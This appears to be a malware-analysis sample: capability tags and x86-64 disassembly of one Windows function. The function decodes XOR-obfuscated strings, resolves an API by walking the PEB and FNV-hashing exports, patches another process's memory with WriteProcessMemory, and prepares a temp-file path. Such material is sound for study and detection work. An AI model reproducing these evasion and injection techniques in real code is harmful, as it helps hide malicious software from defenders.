Function at 0x14002119c
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x398]
sub rsp, 0x470
mov qword [rbp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1400b2700]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov qword [rbp + 0xa8], rcx
lea rax, [rbp + 0x48]
mov qword [rbp - 0x80], rax
lea rdx, [0x14009df86]
lea rcx, [rbp + 0x48]
call fcn.140023d2c
mov rbx, rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov cl, reloc.WLDAP32.dll_Ordinal_41
mov dword [rsp + 0x30], 0x7d6c6e29
xor eax, eax
mov byte [rsp + 0x34], al
xor r15d, r15d
xor byte [rsp + rax + 0x31], cl
inc rax
cmp rax, 3
jae 0x140021227
mov cl, byte [rsp + 0x30]
jmp 0x140021214
mov byte [rsp + 0x34], r15b
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x68]
call fcn.140023d2c
mov rdi, rax
lea rcx, [rbp + 0x20]
call fcn.14001f348
mov rdx, rax
movdqa xmm0, xmmword [0x1400a2da0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [str._9____8_c.__b__sU:VI__Cz]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400a2db0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400a2d40]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1400a2f10]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400a2dc0]
movdqa xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0x70232224
mov word [rbp - 0xc], 0x3e68
xor eax, eax
mov byte [rbp - 0xa], al
mov rcx, r15
mov al, byte [rbp - 0x70]
xor byte [rbp + rcx - 0x6f], al
inc rcx
cmp rcx, 0x65
jb 0x1400212ac
mov byte [rbp - 0xa], r15b
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rdx, [rbp - 0x6f]
lea rcx, [rbp]
call fcn.140028180
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400212e9
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.140023d2c
nop
mov r9, rbx
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.14001ef70
nop
mov r12d, 0x1000
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14002134f
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, r12
jb 0x14002134a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002134a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140086b5c
movdqa xmm0, xmmword [0x1400a2bf0]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r15b
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14002139a
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, r12
jb 0x140021395
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140021395
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140086b5c
movdqa xmm0, xmmword [0x1400a2bf0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r15b
xor eax, eax
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xb0]
call fcn.140028348
nop
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xb0]
sub rdx, rcx
call fcn.140020df0
mov r14, rax
mov dl, 0x53
mov dword [rsp + 0x48], 0x61203053
mov bl, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x4c], 0x362b367d
xor eax, eax
mov byte [rsp + 0x50], al
mov rcx, r15
xor byte [rsp + rcx + 0x49], dl
inc rcx
cmp rcx, 7
jae 0x14002141f
mov dl, byte [rsp + 0x48]
jmp 0x14002140c
mov byte [rsp + 0x50], r15b
lea rdx, [rsp + 0x49]
lea rcx, [rbp + 0xc8]
call fcn.140023d2c
nop
mov cl, 0x33
mov dword [rsp + 0x68], 0x7c477d33
mov dword [rsp + 0x6c], 0x755d5643
mov dword [rsp + 0x70], 0x565f5a
mov rax, r15
xor byte [rsp + rax + 0x69], cl
inc rax
cmp rax, 0xa
jae 0x140021466
mov cl, byte [rsp + 0x68]
jmp 0x140021453
mov byte [rsp + 0x73], r15b
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x41], 0x4c44544e
mov word [rsp + 0x45], Ordinal_79
mov rax, r15
xor byte [rsp + rax + 0x41], bl
inc rax
cmp rax, 5
jae 0x140021494
mov bl, byte [rsp + 0x40]
jmp 0x140021481
mov byte [rsp + 0x46], r15b
lea rcx, [rsp + 0x41]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, [rbp + 0xc8]
call fcn.14001fd44
mov dword [rsp + 0x78], eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r8, qword [rcx + 0x30]
movsxd rdx, dword [r8 + 0x3c]
mov r10d, dword [rdx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x14002153c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14002153c
mov esi, dword [r10 + 0x20]
dec r9d
lea rax, [rsi + r9*4]
mov edx, dword [rax + r8]
add rdx, r8
mov r11d, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x140021537
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x140021518
cmp r11d, 0x4105fc56
je 0x140021541
test r9d, r9d
jne 0x1400214fb
mov rcx, qword [rcx]
jmp 0x1400214d6
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r8
mov r8d, dword [rsp + 0x78]
xor edx, edx
mov ecx, 0x1fffff
call r9
mov rcx, rax
test rax, rax
jne 0x1400216ae
lea rcx, [0x1400a2850]
call fcn.140182ade
nop
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x1400215d8
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, r12
jb 0x1400215d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400215d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140086b5c
movdqa xmm0, xmmword [0x1400a2bf0]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xc8], r15b
mov rcx, qword [rbp + 0xb0]
test rcx, rcx
je 0x140021643
mov rdx, qword [rbp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, r12
jb 0x140021629
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140021629
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140086b5c
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r15
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x140021683
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, r12
jb 0x14002167e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002167e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140086b5c
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140086430
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
test rbx, rbx
je 0x1400216df
mov eax, dword [rbx]
mov dword [rbp + 0x240], eax
mov al, byte [rbx + 4]
mov byte [rbp + 0x244], al
mov qword [rsp + 0x20], r15
mov r9d, 5
lea r8, [rbp + 0x240]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rdx, [rbp + 0x250]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov cl, 0x50
mov dword [rsp + 0x38], 0x243f3450
mov dword [rsp + 0x3c], 0x263e35
mov rax, r15
xor byte [rsp + rax + 0x39], cl
inc rax
cmp rax, 6
jae 0x140021719
mov cl, byte [rsp + 0x38]
jmp 0x140021706
mov byte [rsp + 0x3f], r15b
lea rax, [rsp + 0x39]
mov qword [rbp - 0x80], rax
mov cl, 0x42
mov dword [rsp + 0x58], 0x6d316742
mov dword [rsp + 0x5c], 0x366c3167
mov word [rsp + 0x60], 0x322f
xor eax, eax
mov byte [rsp + 0x62], al
mov rax, r15
xor byte [rsp + rax + 0x59], cl
inc rax
cmp rax, 9
jae 0x14002175c
mov cl, byte [rsp + 0x58]
jmp 0x140021749
mov byte [rsp + 0x62], r15b
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x250]
lea rdx, [rsp + 0x59]
lea rcx, [rbp + 0x108]
call fcn.140028400
nop
lea rcx, [rbp + 0x130]
call fcn.14002183c
lea rcx, [rbp + 0x130]
call fcn.140024168
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x130]
call fcn.140024060
lea rcx, [rbp + 0xb0]
call fcn.14002392c
mov r8, rax
mov rdx, r14
lea rcx, [rbp + 0x130]
call fcn.140025658
lea rcx, [rbp + 0x108]
call fcn.140023b74
mov rbx, rax
lea rcx, [rbp + 0xc8]
call fcn.140023b74
mov rdx, rbx
mov rcx, rax
call fcn.14001fff8
lea rcx, [rbp + 0x130]
call fcn.140023fd4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]